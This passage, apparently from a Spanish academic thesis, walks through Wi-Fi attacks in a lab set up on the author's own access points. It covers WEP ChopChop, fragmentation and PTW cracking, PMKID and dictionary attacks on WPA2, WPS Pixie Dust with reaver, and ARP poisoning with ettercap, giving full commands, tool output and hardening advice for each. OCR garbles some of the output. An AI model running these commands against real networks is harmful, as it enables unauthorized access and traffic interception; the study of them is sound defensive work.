handshake. Se finaliza la captura con CTRL+C.

airodump-ng ha creado, entre otros, un archivo con extension “.xor” con el que se puede llevar a cabo la
autenticacion. Este archivo tiene como nombre la concatenacion de la cadena especificada con la opcion “-w”
de su ejecucion y la direccion MAC del punto de acceso.

4° [Equipo ‘A’, usuario “root”] Se vuelve a ejecutar el comando para la falsa autenticacion:

aireplay-ng -1 @ -e dlink-919C -a DIRECCION_MAC_AP -y FICHERO.XOR wlan@mon
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Waiting for beacon frame (BSSID: 34:0A:33:87:91:9D)

Sending Authentication Request (Shared Key) [ACK]
Authentication 1/2 successful

Sending encrypted challenge. [ACK]
Authentication 2/2 successful
Sending Association Request [ACK]
Association successful :-) (AID: 1)

Figura 4-9. Ataque de autenticacion con método PSK

4.21.3 Fortificacion

Tal y como se comenta en el propio estandar IEEE 802.111, el uso de WEP est4 desaconsejado. Desde 2006,
todos los equipos con la certificacion de la Wi-Fi Alliance deben ser capaces de implementar el algoritmo
WPA2. La grave brecha de seguridad que utilizar WEP supone, deja en obsolescencia, desde la perspectiva de
la seguridad, a aquellos equipos que no son capaces de implementar WPA2.

Los equipos y adaptadores Wi-Fi empleados en este proyecto son compatibles con WPA2, por lo cual no existe
razon para no utilizar el estandar de seguridad 802.11i.

422 ChopChop (WEP)

4221 Preparacion del escenario

Para este ataque se siguen los mismos pasos que para la preparacion del escenario 4.2.1.1.

42.2.2 Objetivo del ataque: obtencion de la cadena pseudoaleatoria

1° [Equipo ‘A’, usuario “root”] Se activa el modo monitor de la interfaz inalambrica. Al igual que con el equipo
‘C’, sino la tuviera integrada, se conecta un adaptador USB Wi-Fi:

e Para que no interfieran otros procesos, se comprueba la existencia de estos y se eliminan:

airmon-ng check kill

e Se activa la monitorizacion:
airmon-ng start wlane

e Hasta que se detenga, la interfaz inalambrica cambia de nombre para indicar su estado: ya no es
“wlan0”, sino “wlanOmon”. Esto es comprobable con:

ip 1
2° [Equipo ‘A’, usuario “root”] Se comprueba la direccion MAC del punto de acceso al que nos queremos
autenticar:

airodump-ng wlan®@mon

3°[Equipo ‘A’, usuario “root”’] Una vez se obtiene la direccion MAC del ESSID “dlink-919C” se lanza el ataque
ChopChop y se espera a capturar un paquete:

aireplay-ng -4 -b DIRECCION_MAC_AP wlan®©mon

e Cuando se detecte un paquete potencialmente valido, es necesario que el atacante lo confirme tecleando
‘y’ en la consola. Se priorizan paquetes con MAC origen y destino que no sean de difusion, y es posible
que sean necesarios varios intentos antes de que el ataque comience a funcionar
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[root@lt205- r / 4 -b 34:0A: 37:91:9D wlan@mon
12:57:54 Waiting for beacon fra 4 3 9D) on channel 9
Read 7 packets...

0 (WEP)

:91:9D
84:A7
91:

98bb ¢
de21 ¢
bc51
4a04
cb36

4278 8

Use this packet
Saving chosen packet in replay_src-0116-125755.

136 ( done) | x | | fr written
135 done) | x | | written
134 done) | xor | A | ritten
done) | xor | 3 written
done) | xor | 69 fr written
done) | x 9 | | fr written
done) | xor 2 | | frames written
done) | xor | | frames written
done) | xor | 242 frames written

Figura 4-10. Cadena pseudoaleatoria siendo extraida por ChopChop

e Tras unos minutos, dependiendo de la longitud del paquete, se obtiene el archivo .xor que contiene parte
de la cadena pseudoaleatoria:

written
written
written
writte
writt
written

N 00

Offset
Offset
Offset
Offset
Offset

o

n
n
n
n

[ERT R
o

SR NW S

written
written

w

RN

2014ms
3571ms

o S ol
0o N oo

&~
Sk NWs

Offset
Offset
Offset
Offset
Offset 6 ) | : r written
offset ) | : 6 p | ra written
Offset (99 ) xor 6 F 8 r written

=

w
0 \O

Saving plaintext in replay_dec-0116-130141.cap
Saving keystream in replay_dec-0116-130141.xor

Completed in (0.44 bytes/s)

Figura 4-11. Obtencion del archivo .xor con ChopChop

Este archivo puede ser utilizado para el ataque de inyeccion del apartado 4.2.4.

4.2.2.3 Fortificacion

La fortificacion de este ataque sigue la misma justificacion que el apartado 4.2.1.3.
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4.2.3 Fragmentacion (WEP)

4231 Preparacién del escenario

Para este ataque se siguen los mismos pasos que para la preparacion del escenario 4.2.1.1.

4.2.3.2 Objetivo del ataque: obtencion de la cadena pseudoaleatoria

1° [Equipo ‘A’, usuario “root”] Se activa el modo monitor de la interfaz inaldmbrica. Al igual que con el equipo
‘C’, sino la tuviera integrada, se conecta un adaptador USB Wi-Fi:

e Para que no interfieran otros procesos, se comprueba la existencia de estos y se eliminan:

airmon-ng check kill

e Seactiva la monitorizacion:

airmon-ng start wlane

e Hasta que se detenga, la interfaz inaldmbrica cambia de nombre para indicar su estado: ya no es
“wlan0”, sino “wlanOmon”. Esto es comprobable con:

ip 1
2° [Equipo ‘A’, usuario “root”] Se comprueba la direccion MAC del punto de acceso al que nos queremos
autenticar:

airodump-ng wlan@mon

3°[Equipo ‘A’, usuario “root”’] Una vez se obtiene la direccion MAC del ESSID “dlink-919C” se lanza el ataque
de fragmentacion y se espera a capturar un paquete:

aireplay-ng -5 -b DIRECCION_MAC_AP wlan®mon

e Cuando se detecte un paquete potencialmente valido, es necesario que el atacante lo confirme tecleando
‘y’ en la consola. El criterio de prioridad es idéntico al del ataque ChopChop (4.2.2.2).

Saving chosen packet in replay_src-1204-192136.cap
19:21:46 Data packet found!

19:21:46 Sending fragmented packet
Got ACK (1) (packets 12).

Got ACK (2) (packets 12).

Got ACK (3) (packets 12).

Got ACK (4) (packets 12).

Got ACK (5) (packets 12).

Got ACK (6) (packets 12).

Got ACK (7) (packets 12).

Got ACK (8) (packets 12).

Got ACK (9) (packets 12).

Got ACK (10) (packets 12).

Got ACK (11) (packets 12).

19:21:46 Not enough acks, repeating...
19:21:46 Sending fragmented packet
Got ACK ) (packets 12).

Got ACK (packets 12).

Got ACK (packets 12).

Got ACK (5) (packets 12).

Got ACK (6) (packets 12).

Got ACK (7) (packets 12).

Got ACK (8) (packets 12).

Got ACK (9) (packets 12).

Got ACK (10) (packets 12).

Got ACK (11) (packets 12).

Got ACK (12) (packets 12).

19:21:46 Got RELAYED packet!!

19:21:46 Trying to get 384 bytes of a keystream
19:21:47 Got RELAYED packet!!

19:21:47 Trying to get 1500 bytes of a keystream
19:21:47 Got RELAYED packet!!

Saving keystream in fragment-1204-192147.xor

Now you can build a packet with packetforge-ng out of that 1500 bytes keystr
eam

(
(
Got ACK ( (packets 12).
(
(

Figura 4-12. Obtencion de los octetos de la cadena pseudoaleatoria con el método de fragmentacion

Este archivo puede ser utilizado para el ataque de inyeccion del apartado 4.2.4 v, a diferencia de ChopChop, ¢l
tamafio del paquete inyectable no se ve limitado por el del paquete descifrado al haberse obtenido los 1500
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octetos de la cadena pseudoaleatoria.

4.2.3.3 Fortificacion

La fortificacion de este ataque sigue la misma justificacion que el apartado 4.2.1.3.

4.24 Inyeccion (WEP)

4241 Preparacion del escenario

Para este ataque se siguen los mismos pasos que para la preparacion del escenario 4.2.1.1.

Este ataque se apoya en el ataque de falsa autenticacion (4.2.1) y de alguno de los métodos para obtener la cadena
pseudoaleatoria. Por ser mas potente, en este ataque se parte del archivo .xor obtenido del ataque de
fragmentacion (4.2.3). Es necesario realizar los pasos indicados en los apartados 4.2.1.2 y 4.2.2.2.

42.4.2 Objetivo del ataque: inyeccion de trafico ilegitimo

Con ‘A’ ya autenticado en la red y la cadena pseudoaleatoria obtenida:

1° [Equipo ‘A’, usuario “root”] Se crea un paquete de peticion ARP dirigido al AP para inyectarlo en la red y
que lo responda:

packetforge-ng -0 -a DIRECCION_MAC_AP -h DIRECCION_MAC_A -k 192.168.0.200 -1 \
192.168.0.1 -y FICHERO.XOR -w arp-request

e Las opciones -k y -1 representan, respectivamente, la direccion (ficticia) del equipo origen de la peticion
ARP y la direccion IP del AP. Se ha escogido “192.168.0.200” por ser una direccion valida cualquiera.

2° [Equipo ‘A’, usuario “root”] Se inyecta el paquete arp-request en la red:

aireplay-ng -2 -r arp-request wlan@mon

Size: 68, FromDS: @, ToDS: 1 (WEP)

BSSID 34:0A:33:87:91:9D
Dest. MAC FF:FF:FF:FF:FF:FF
Source MAC 5C:D9:98:BB:83:A5

0x0000: 0841 0201 340a 3387 919d 5cd9 98bb 83a5 .A..
0x0010: ffff ffff ffff 8001 lee2 5600 d2dl 43eb
0x0020: fe7a 5a47 68al 243f 11d9 0924 f31la 501b
0x0030: 7690 b4el 99fd 1048 @c3e 5339 c714 5cf5
0x0040: 2a2d 3074

Use this packet ? y

Saving chosen packet in replay_src-1204-193055.cap
You should also start airodump-ng to capture replies.

End of file.

Figura 4-13. Detalles del paquete ARP inyectado

4.2.4.3 Fortificacion

La fortificacion de este ataque sigue la misma justificacion que el apartado 4.2.1.3.
425 PTWI/KoreK (WEP)
4251 Preparacion del escenario

Para este ataque se siguen los mismos pasos que para la preparacion del escenario 4.2.1.1.
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4252 Objetivo del ataque: obtencion de la clave precompartida

1° [Equipo ‘A’, usuario “root”] Se activa el modo monitor de la interfaz inaldmbrica. Al igual que con el equipo
‘C’, sino la tuviera integrada, se conecta un adaptador USB Wi-Fi:

e Para que no interfieran otros procesos, se comprueba la existencia de estos y se eliminan:
airmon-ng check kill
e Se activa la monitorizacion:
airmon-ng start wlane

2° [Equipo ‘A’, usuario “root”’] Se comprueba la direccion MAC del punto de acceso vulnerable:
e  Con airodump-ng se comprueba qué redes inalambricas estan al alcance del dispositivo:
airodump-ng wlan@mon

e Sabiendo su BSSID, capturamos los paquetes entre el AP y el cliente. El campo “#Data” cuenta el
numero de IVs que se han obtenido hasta el momento:

airodump-ng --bssid DIRECCION_MAC_AP -w resultados_ptw wlan@mon

3°[Equipo ‘C’, usuario “dit”] Para agilizar el proceso, se envian masivamente mensajes a la direccion del punto
de acceso. Con un trafico alto y constante, 5 minutos bastan para llegar a 100000 IVs:

timeout 5m hping3 --flood 192.168.0.1

4° [Equipo ‘A’, usuario “root”] Se detiene la captura cuando la columna “#Data” alcance los 100000 I'Vs. El
fichero .cap generado por airodump-ng se pasa como argumento para que aircrack-ng descifre la clave:

aircrack-ng resultados_ptw-01.cap

Tras un par de segundos, la clave es descifrada. La Figura 4-12 muestra la salida exitosa del comando
anteriormente ejecutado.

Aircrack-ng 1.7

[00:00:02] Tested 558501 keys (got 642 IVs)

byte(vote)

FE(1280) 01(1024) 0B(1024) OE(1024) 27(1024) 2A(1024) 3A(1024) 3B(1024) 3D(1024) 3F(1024) 42(1024) 4A(1024)

FD(1024) 05( 768) 1A( 768) 1E( 768) 20( 768) 23( 768) 25( 768) 28( 768) 2A( 768) 2C( 768) 2D( 768) 2E( 768)

84(1792) 08(1536) 93(1536) 9C(1536) C0(1536) OF(1280) 11(1280) 1D(1280) 2B(1280) 30(1280) 59(1280) 6C(1280)

FO(1536) 0B(1280) 29(1280) 41(1280) 49(1280) 4B(1280) 68(1280) 6D(1280) 70(1280) 74(1280) 93(1280) 97(1280)
28/ 4 DF(1280) 0A(1024) 0B(1024) 10(1024) 12(1024) 16(1024) 1D(1024) 23(1024) 27(1024) 2D(1024) 30(1024) 38(1024)

KEY FOUND! [ 61:62:63:64:65 ] (ASCII: abcde )
Decrypted correctly: 100%

Figura 4-14. Contrasefia obtenida con aircrack-ng con método PTW

5° [Equipo ‘A’, usuario “root”] Alternativamente al comando anterior, se puede especificar que en vez del
método PTW (utilizado por defecto por ser mas eficiente) use KoreK:

aircrack-ng -K -n 64 resultados_ptw-01.cap
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Aircrack-ng 1.7

[00:00:48] Tested 687277 keys (got 107543 IVs)

depth byte(vote)

3/ 11 61¢ 12) €20 12) E7{ 12) 37 5) A5( 5) 82( 3) 88(
AT, 62( 34) 23( 13) eF( 13) ee( 12) 8F( 12) 09( 9) 07(
S Y 1F( 13) 31( 13) 10( 12) 61( 12) D2( 12) DE( 12) 24(

KEY FOUND! [ 61:62:63:64:65 ] (ASCII: abcde )
Decrypted correctly: 0%

Figura 4-15. Contrasefa obtenida con aircrack-ng con método KoreK

Ademas del notable tiempo de diferencia con respecto al ataque PTW —24 veces mas lento— se observa un
bug en el porcentaje, el cual marca un 0% pese a haber encontrado la clave [96].

4.2.5.2.1 Uso de una contrasena de 13 caracteres

El método PTW ha demostrado ser muy eficaz, rompiendo una clave bésica en tan solo 2 segundos. Este
escenario puede repetirse con una contraseiia mayor y mas compleja para comprobar su efectividad. Para ello:

1° [Equipo ‘C’, usuario “root”] Se vuelve a preparar el escenario con los pasos mostrados en 4.2.1.1, cambiando
la longitud de la clave WEP y la contrasefa acorde a la Figura 4-16:

WEP is the wirgless encryption standard. To use it you must enter the same key(s) into the router

znd the wireless stations. For 64-bit keys vou must enter 10 hex digits into each key box. For 128-
bit keys you must enter 26 hex digits into each key box. A hex digit is either 2 number from 0o @
or a letter from A to F For the most secure use of WEP set the authentication type to "Shared Key”
when WEP is enabled.

You may also enter any text string into 2 WEP key box, in which case it will be convertad into a
hexadecimal key using the ASCII values of the characters. A maximum of 5 text characters can be
entered for 64-bit keys, and a maximum of 13 characters for 128-bit keys.

If wou choose the WEP security option this device will ONLY operate in Legacy Wireless mode
(802.11B/G). This means you will NOT get 11N performance due to the fact that WEP is not
supported by the Draft 11N specification.

WEP Key Length : | 128 bit (26 hex digits) ¥

Authentication :

WEP Key 1 : |x,712328c4567 |

({length applies to all keys)

Figura 4-16. Nueva clave precompartida WEP

2° [Equipo ‘A’, usuario “root’’] Se repiten los pasos 1, 2 del apartado anterior (4.2.5.2). Para el paso 2, se sugiere
cambiar el nombre del fichero que contiene los paquetes capturados por airodump-ng. Por ejemplo:

airodump-ng --bssid DIRECCION_MAC_AP -w resultados_ptw_nuevo wlan@mon
3° [Equipo ‘C’, usuario “dit”’] Nuevamente, se ejecuta durante 5 minutos el comando Aping3:
timeout 5m hping3 --flood 192.168.0.1

4° [Equipo ‘A’, usuario “root”] Se detiene la captura cuando la columna “#Data” alcance los 100000 IVs. El
fichero .cap generado por airodump-ng se pasa como argumento para que aircrack-ng descifre la clave:

aircrack-ng resultados_ptw_nuevo-01.cap

En tan solo 2 segundos, aircrack-ng obtiene la nueva clave:
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Figura 4-17. Contrasefia obtenida con aircrack-ng con método PTW

El aumento de la complejidad de la clave no ha supuesto un aumento del tiempo en que aircrack-ng tarda en

descifrarla®®.

4.2.5.3 Fortificacion

La fortificacion de este ataque sigue la misma justificacion que el apartado 4.2.1.3.

426 Ataque PMKID

4.2.6.1 Preparacion del escenario

Para este ataque se siguen los mismos pasos que para la preparacion del escenario 4.2.1.1 con la excepcion de
utilizar cifrado WPA/WPA?2 en lugar de WEP. Para poder demostrar el ataque en un tiempo razonable, es
imprescindible utilizar una clave corta y/o comun (por ejemplo, “abcdefgh”).

El modo WPA escogido resulta indistinto al preferirse WPA2 en caso de que el cliente lo acepte. La Figura 4-18

muestra dos opciones validas para configurar el AP:

Use WPA or WPA2 mode to achieve a balance of strong security and best compatibility. This mode
uses WPA for legacy clients while maintaining higher security with stations that are WPA2 capable.
Alsa the strongest cipher that the dient supports will be used. For best security, use WPA2 Only
mode. This mode uses AES{CCMP) cipher and legacy stations are not allowed access with WPA
security. For maximum compatibility, use WPA Only. This mode uses TKIP cipher. Some gaming
and legacy devices work only in this mode.

To achieve better wireless performance use WPA2 Only security mode (or in other words AES
cipher).

WPA Mode : | auto(WPA or WPAZ] v
Cipher Type : | TKIP and AES ¥
Group Key Update Interval : |3s00 (seconds)

Use WPA or WPA2 mode to achieve a balance of strong security and best compatibility. This mode
uses WPA for legacy clients while maintaining higher security with stations that are WPA2 capable.
Alsa the strongest cipher that the client supports will be used. For best security, use WPA2 Only
mode. This mode uses AES(CCMP) cipher and legacy stations are not allowed access with WPA
security. For maximum compatibility, use WPA Only. This mode uses TKIP cipher. Some gaming
and legacy devices work only in this mode.

To achieve better wireless performance use WPA2 Only secunty mode (or in other words AES
cipher).

I e r—"
Cipher Type : | Ags h
Group Key Update Interval : |3500 (seconds)

PRE-SHARED KEY

Enter an 8- to 63-character alphanumeric pass-phrase. For good security it should be of
ample length and should not be a commonly known phrase.

Pre-Shared Key : | abcdefgh

PRE-SHARED KEY

Enter an 8- to 63-character alphanumeric pass-phrase. For good security it should be of
ample length and should not be a commonly known phrase.

Pre-Shared Key : | abcdefgh

Figura 4-18. Configuracion WPA automatica o solo WPA2

4.2.6.2

Objetivo del ataque: obtencion de la clave precompartida

1° [Equipo ‘A’, usuario “root”] Se lanza hcxdumptool para monitorizar las redes inalambricas disponibles. A
diferencia de otros ataques, no se debe ejecutar previamente airmon-ng, lo cual interferiria con hcxdumptool.:

hcxdumptool -w pmkid.pcap -i wlan®

Si el punto de acceso retransmite esta trama, debe aparecer en la columna P el simbolo ‘+’.

16 Por otra parte, con el método Korek, tras 15 minutos no fue capaz de averiguar la nueva clave de 13 caracteres.
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MAC-AP ESSID (last seen on top) SCAN-FREQUENCY:

MOVISTAR_
340a3387919d dlink-919C

MOVISTAR_
MOVISTAR_

00 00 00000 oo

2
22
$2
:2
12
22
:2
22
:2

DD OO 0O OO
WWwwerNww
WrOUORNOSWW

()]
ww
N

Figura 4-19. Tramas recogidas por hcxdumptool

La Figura 4-19 muestra como el ataque PMKID no es realizable con este AP. La trama EAPOL que se esperaba
capturar no se ha detectado en mas de 15 minutos de exposicion. El creador de hcxdumptool advierte de que en
menos de un minuto se deberia obtener dicha trama y que hay algunos AP que, sencillamente, no implementan
esta caracteristica [97]. Tras repasar el manual del punto de acceso [98], se corrobora que no existe ninguna
mencion a servicios de roaming o del estandar IEEE 802.11r.

4.2.6.2.1 Ataque sobre AP vulnerable

Se ha demostrado como las funciones de roaming no estan disponibles en todos los puntos de acceso. Para poder
realizar este ataque se ha usado otro AP distinto, concretamente, el equipo Mitrastar HGU GPT-2541GNAC,
cuya SSID es MOVISTAR 2FD2. La clave precompartida, igualmente, se cambia a “abcdefgh” para que el
ataque se cometa en un tiempo razonable. Siguiendo los mismos pasos que en el apartado 4.2.6.2, se observa
codmo hcxdumptool ahora si ha capturado la trama EAPOL. Una vez se detecta, se para la monitorizacion.

MAC-AP ESSID (last seen on top) SCAN-FREQUENCY: 2437

11:30:04 + + + + 2c96827e2fd3 MOVISTAR_2FD2

Figura 4-20. Obtencion de la trama EAPOL en AP vulnerable

1° [Equipo ‘A’, usuario “root”’] Es necesario transcribir la informacion recopilada por hcxdumptool a texto plano
para que hashcat pueda ejecutar el ataque. Para ello:

hcxpcapcngtool -o pmkid.txt pmkid.pcap

e El archivo .txt generado incluye informacion sobre otros AP y caracteres redundantes que pueden ser
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eliminados para que el ataque sea mas eficaz. Se eliminan las lineas que no se correspondan con el
punto de acceso deseado (la linea debe contener el BSSID entre asteriscos). También se borran los
primeros y ultimos caracteres de la linea, las cuales siguen la forma “WPA*QX*” y “***(0X”
correspondientemente. El resultado final debe ser muy similar a:

/root/pmkid.txt

‘ 36791a39fd9e33ab099de643fadee6a75%2c96827e2fd3*acde483ee885*4d415649535441525F32464432

2° [Equipo ‘A’, usuario “root”] Por ultimo, se lanza hashcat con el fichero .txt editado y se indica, entre otros
parametros, el uso de un diccionario para el ataque. En este caso, el fichero empleado es /usr/share/dict/wordlist-
probable.txt, aunque es igualmente valido el uso de otra lista:

hashcat -m 22000 pmkid.txt -a @ /usr/share/dict/wordlist-probable.txt

Dictio che buil
Fil e usr/share/dict/wordlist-probable.txt
Passwords. :

85:MOVISTAR_2FD2:abcdefgh

Candidat
Hardw

: Mon
: Mon

Figura 4-21. Obtencion de la clave precompartida con ataque PMKID

4.2.6.3 Fortificacion

El ataque PMKID requiere dos elementos para ser posible: que el AP tenga los servicios de roaming activos y
que la contrasefia sea lo suficientemente débil como para ser descubierta por fuerza bruta o diccionarios. En
entornos donde los dispositivos conectados a la red inalambrica estén fijos o no se desplacen significativamente,
el roaming puede ser deshabilitado sin consecuencias notorias. Desafortunadamente, el punto de acceso
vulnerable se trata de un equipo comercial suministrado por un proveedor de Internet, y existen muchas
funcionalidades bloqueadas incluso en la configuracion avanzada; entre otras, la funcion roaming se encuentra
bloqueada y activa para el usuario.

Roaming Enabled
Roaming Role master

Figura 4-22. Funcién roaming bloqueada en AP vulnerable

La tinica alternativa para defender el punto de acceso, por tanto, es emplear una clave lo suficientemente robusta
como para que no se pueda averiguar la clave. En el apartado a continuacion se desarrolla especificamente un
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ataque de diccionario donde se concluye con qué se considera una contrasefia fiable.

4.2.7 Ataque de fuerza bruta/diccionario (WPA/WPA2)

4.2.71  Preparacion del escenario

Para este ataque se siguen los mismos pasos que para la preparacion del escenario 4.2.6.1.

4.2.7.2 Objetivo del ataque: obtencion de la clave precompartida

La clave “abcdefgh” es una clave débil y tipica que esta recogida en practicamente todos los diccionarios de
contrasefas posibles. Existen multiples herramientas que permiten obtener el handshake y probar claves, entre
otros, la suite de herramientas aircrack-ng mostrada en los ataques WEP. Para este ataque se muestra otra
herramienta preinstalada en Kali, wifite, que realiza ataques de diccionario, entre otras funcionalidades.

1° [Equipo ‘A’, usuario “root”] Se activa el modo monitor de la interfaz inalambrica. Al igual que con el equipo
‘C’, sino la tuviera integrada, se conecta un adaptador USB Wi-Fi:

e Para que no interfieran otros procesos, se comprueba la existencia de estos y se eliminan:
airmon-ng check kill
e Se activa la monitorizacion:
airmon-ng start wlane

2° [Equipo ‘A’, usuario “root”’] Se lanza wifite pasando como argumento la interfaz en modo monitorizacion:
wifite -i wlan@mon

e A continuacion, van apareciendo por pantalla los distintos posibles objetivos del ataque. Cuando
aparezca el punto de acceso (“dlink-919C”) paramos el rastreo con CTRL+C:

[+] Scanning. Found target(s), 2 client(s). Ctrl+C when ready "C
NUM CH ENCR POWER WPS? CLIENT

Figura 4-23. Ataque de diccionario con wifite (1)

e Seindica el numero asociado al AP:

2 no
select target(s) (1-9) separated by commas, dashes or all: 2

Figura 4-24. Ataque de diccionario con wifite (II)

o Tras deautenticar el cliente conectado al punto de acceso y recuperar su handshake, wifite comienza a
probar claves con su diccionario por defecto:
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(1/1) starting attacks against 1 ( 19C)
[ i red new client:

1
+]
+]
+]

1

saving copy of
+] analysis of captured handshake file:
id
Running with wordlist
ETA: 1 a (current key: fgh)
= PSK: F
Point

Point B
Enc

(2 t
1 target(s), exiting

Figura 4-25. Ataque de diccionario con wifite (11I)

4.2.7.3 Fortificacion

WPA2 es un cifrado robusto, pero utilizando claves cortas, por defecto o comunes se vuelve vulnerable a este
tipo de ataques. Como se concluye en [70], una contrasefia original que contenga, al menos, 14 caracteres con
letras, nimeros y simbolos hacen que este tipo de ataques sean, a fecha de este documento, muy dificiles de
llevar a cabo incluso con clusteres.

428 Ataque sobre WPS (WPA/WPA2)

4281 Preparacion del escenario

Para este ataque se siguen los mismos pasos que para la preparacion del escenario 4.2.6.1. Adicionalmente:

1° [Equipo ‘C’, usuario “dit”] Se habilita WPS'" en el punto de acceso desde el apartado ADVANCED > WI-
FI PROTECTED SETUP:

17 El pin por defecto puede ser sustituido por otro generado aleatoriamente. El resultado del ataque no depende de si se escoge uno u otro.
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VIRTUAL SERVER

PORT FORWARDING

APPLICATION RULES

Q05 ENGINE

NETWORK FILTER
INBOUND FILTER:
ACCESS CONTROL
WEBSITE FILTER
FIREWALL SETTINGS
ROUTING

ADVANCED WIRELESS

WI-FI PROTECTED
SETUP

ADVANCED NETWORK
GLEST ZONE
IPVe FIREWALL

1PV ROUTING

4.2.8.2

Wi-Fi Protected Setup is used to easily add devices to a network using a PIM or button press.
Devices must support Wi-Fi Protected Setup in order to be configured by this method.

| ADVANCED

If the PIN changes, the new PIN will be used in following Wi-Fi Protected Setup process. Clicking on
"Don't Save Settings™ button will not reset the PIN.

However, if the new PIN is not saved, it will get lost when the device reboots or loses power.

| Save Setfings || Don't Save Settings |

WI-FI PROTECTED SETUP

Enable :
WiFi Protected Setup : Disabled/Configured
Lock WPS-PIN Setup :

PIN SETTINGS

PIN : B8845378

| Reset PIN to Default | | Generate New PIN |

ADD WIRELESS STATION

| Connect your Wirgless Device |

Save Settings || Don't Save Settings |

Figura 4-26. Habilitacion de WPS en el AP

Objetivo del ataque: obtencion del pin WPS

1° [Equipo ‘A’, usuario “root”] Se activa el modo monitor de la interfaz inalambrica. Al igual que con el equipo
‘C’, si no la tuviera integrada, se conecta un adaptador USB Wi-Fi:

e Para que no interfieran otros procesos, se comprueba la existencia de estos y se eliminan:

airmon-ng check kill

e  Se activa la monitorizacion:

airmon-ng start wlan®

2° [Equipo ‘A’, usuario “root”] Se escanea la red en busca de puntos de acceso con WPS activado:

wash -i wlan@mon
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Ch dBm WPS Lck Vendor ESSID

[!] Found packet with bad FCS, skipping...

34:0A:33:87:91:9D 9 -37 1.0 No RalinkTe dlink-919C

Figura 4-27. Escaneo de la red con wash

3° [Equipo ‘A’, usuario “root”] Una vez encontrado el AP, se copia su BSSID y el canal donde transmite (en
este caso, el canal 9) para realizar el ataque.

e En caso de ser vulnerable al ataque Pixie Dust, el tiempo necesario para que el ataque sea exitoso se
reduce drasticamente. Para ejecutar reaver con dicho ataque y la informacion obtenida mediante wash:

reaver -i wlan@mon -b DIRECCION_MAC_AP -c 9 -K -N

Reaver v1.6.6 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

Waiting for beacon from 3
Received beacon from 34:
Vendor: RalinkTe
Associated with 34:0A:33:87:91:9D (ESSID: dlink-919C)
Found packet with bad FCS, skipping
executing pixiewps -e d4f89801e7c3c5c12396
1d4fd1263947ce2d1c522 7daas9f29f60fcs5fca3

- 6 €635215f8511f6
fofof4f25e19384 3 b9c91c21382374fe45f9a5
526b44f52delf3 48 3fbd76313b30b2d0839e54db 1feb42fda39141807fd
4fc564bf339b200d11322c060241153b2f6af0a2d70856c1fecaa78a2dd98b3bc9bas592ff99fe3c3ffdc59

Pixiewps 1.4

[?] Mode: 1 (RT/MT/CL)

[*] Seed N1: 0x47bff82a

[*] Seed ES1: 0x00000000

[*] Seed ES2: 0x00000000

[*] PSK1: 5653ee50ec24bd14bd5bf7a8693734a9
[*] PSK2: d6d0815cb16d72c8de7d7b514de878¢chb
[*] ES1: 00000000000000000000000000000000
[*] ES2: 00000000000000000000000000000000
[+] WPS pin: 88846378

: success: setting pin to 88846378
88846378

WPA PSK: 'abcdefgh'
AP SSID: 'dlink-919C'

Figura 4-28. Obtencion del pin WPS (por defecto) y la clave precompartida con reaver

La Figura 4-29 muestra como el ataque Pixie Dust sigue siendo realizable en caso de haber generado otro
pin WPS.
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lutions, Craig Heffner <cheffner@tacnetsol.com>

:191:907 [n/Y] n

Figura 4-29. Obtencion de pin WPS (generado aleatoriamente) y la clave precompartida con reaver

4.2.8.3 Fortificacion

Si bien el uso de WPS facilita la gestion de una red inalambrica, esto resulta en una contundente debilitacion de
la seguridad de la red. Se ha comprobado como en menos de un segundo es posible obtener las credenciales de
una red independientemente de su clave precompartida. Por este motivo, se desaconseja ampliamente el uso de
WPS y se recomienda tenerlo deshabilitado.

En caso de requerir momentaneamente su uso, en lugar de activarlo como se muestra en el apartado 4.2.8.1 se
puede optar por presionar el boton WPS. Ubicado normalmente en la parte trasera del punto de acceso, este
boton activa la funcionalidad durante 2 minutos, tiempo suficiente para vincular un dispositivo y reducir el
tiempo en el que el AP es vulnerable. Sin embargo, un atacante que estuviera monitorizando constantemente la
red, sigue siendo capaz de aprovecharlo.

429 Hole 196 (WPA/WPA2)

4.29.1 Preparacion del escenario de ataque

Para este ataque se siguen los mismos pasos que para la preparacion del escenario 4.2.6.1.
1° [Equipo ‘A’, usuario “root”] Se conecta a la red inalambrica:
wpa_passphrase “dlink-919C” abcdefgh | tee /etc/wpa_supplicant.conf
wpa_supplicant -C /etc/wpa_supplicant.conf -i wlan@
e Enuna terminal aparte, se solicita una direccion IP al servidor DHCP:
dhclient wlane

2° [Equipo ‘A’, usuario “dit”] Se puede comprobar con un ping a la direccion de difusion de la red como el AP
y ‘C’ son alcanzables:

ping -b 192.168.0.255
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PING 192.16
64 bytes from 1
64 bytes from 192.168

— { 5 pin:
1 packets transmitte time @ms

idew

Figura 4-30. Prueba de conectividad en red WLAN

4.29.2 Objetivo del ataque: MitM

1° [Equipo ‘A’, usuario “root”’] Se envenenan las tablas ARP del AP y de ‘C’ con etfercap:
ettercap -T /192.168.0.1// /192.168.0.100// -M arp

2° [Equipo ‘A’, usuario “dit”’] Se abre wireshark para analizar el trafico interceptado:
wireshark &

3°[Equipo ‘C’, usuario “dit”] Se establece cualquier tipo de comunicacion con el punto de acceso. Por ejemplo:
ping 192.168.0.1

La Figura 4-31 muestra como los mensajes ICMP se envian a través del equipo ‘A’ tras envenenar las tablas
ARP:

1709 339.246127817 192.168.0 192.168.0.1 ICMP 98 Echo (ping) request
1710 339.253269332 192.168.0 192.168.0.1 ICMP 98 Echo (ping) request
1711 339.254479535 192.168.0.1 192.168.0.100 ICMP 98 Echo (ping) reply
1712 339.261238516 192.168.0.1 192.168.0.100 ICMP 98 Echo (ping) reply
1742 342.249120969 192.168.0.1 192.168.0.100 ICMP 98 Echo (ping) reply
1743 342.253256971 192.168.0 192.168.0.100 ICHP 98 Echo (ping) repl

» Frame 1709: 98 bytes on wire (784 bits), 98 bytes captured (784 bits) on interface wlan®, id ©
» Ethernet II, Src: D-Link_bb:84:a7 (5c:d9:98:bb:84:a7), Dst: D-Link_bb:83:a5 (5c:d9:98:bb:83:a5)
» Internet Protocol Version 4, Src: 192.168.0.100, Dst: 192.168.0.1
@l Internet Control Message Protocol

1709 339.246127817 192.168.0.100 192.168.

0.1 ICMP 98 Echo (ping) request
1710 339.253269332 192.168.0.100 192.168.0.1 ICMP 98 Echo (ping) request
1711 339.254479535 192.168.0.1 192.168.0.100 ICMP 98 Echo (ping) reply
1712 339.261238516 192.168.0.1 192.168.0.100 ICMP 98 Echo (ping) reply

1742 342.249120969 192.168.0.1 192.168.0.100 ICMP 98 Echo (ping) reply
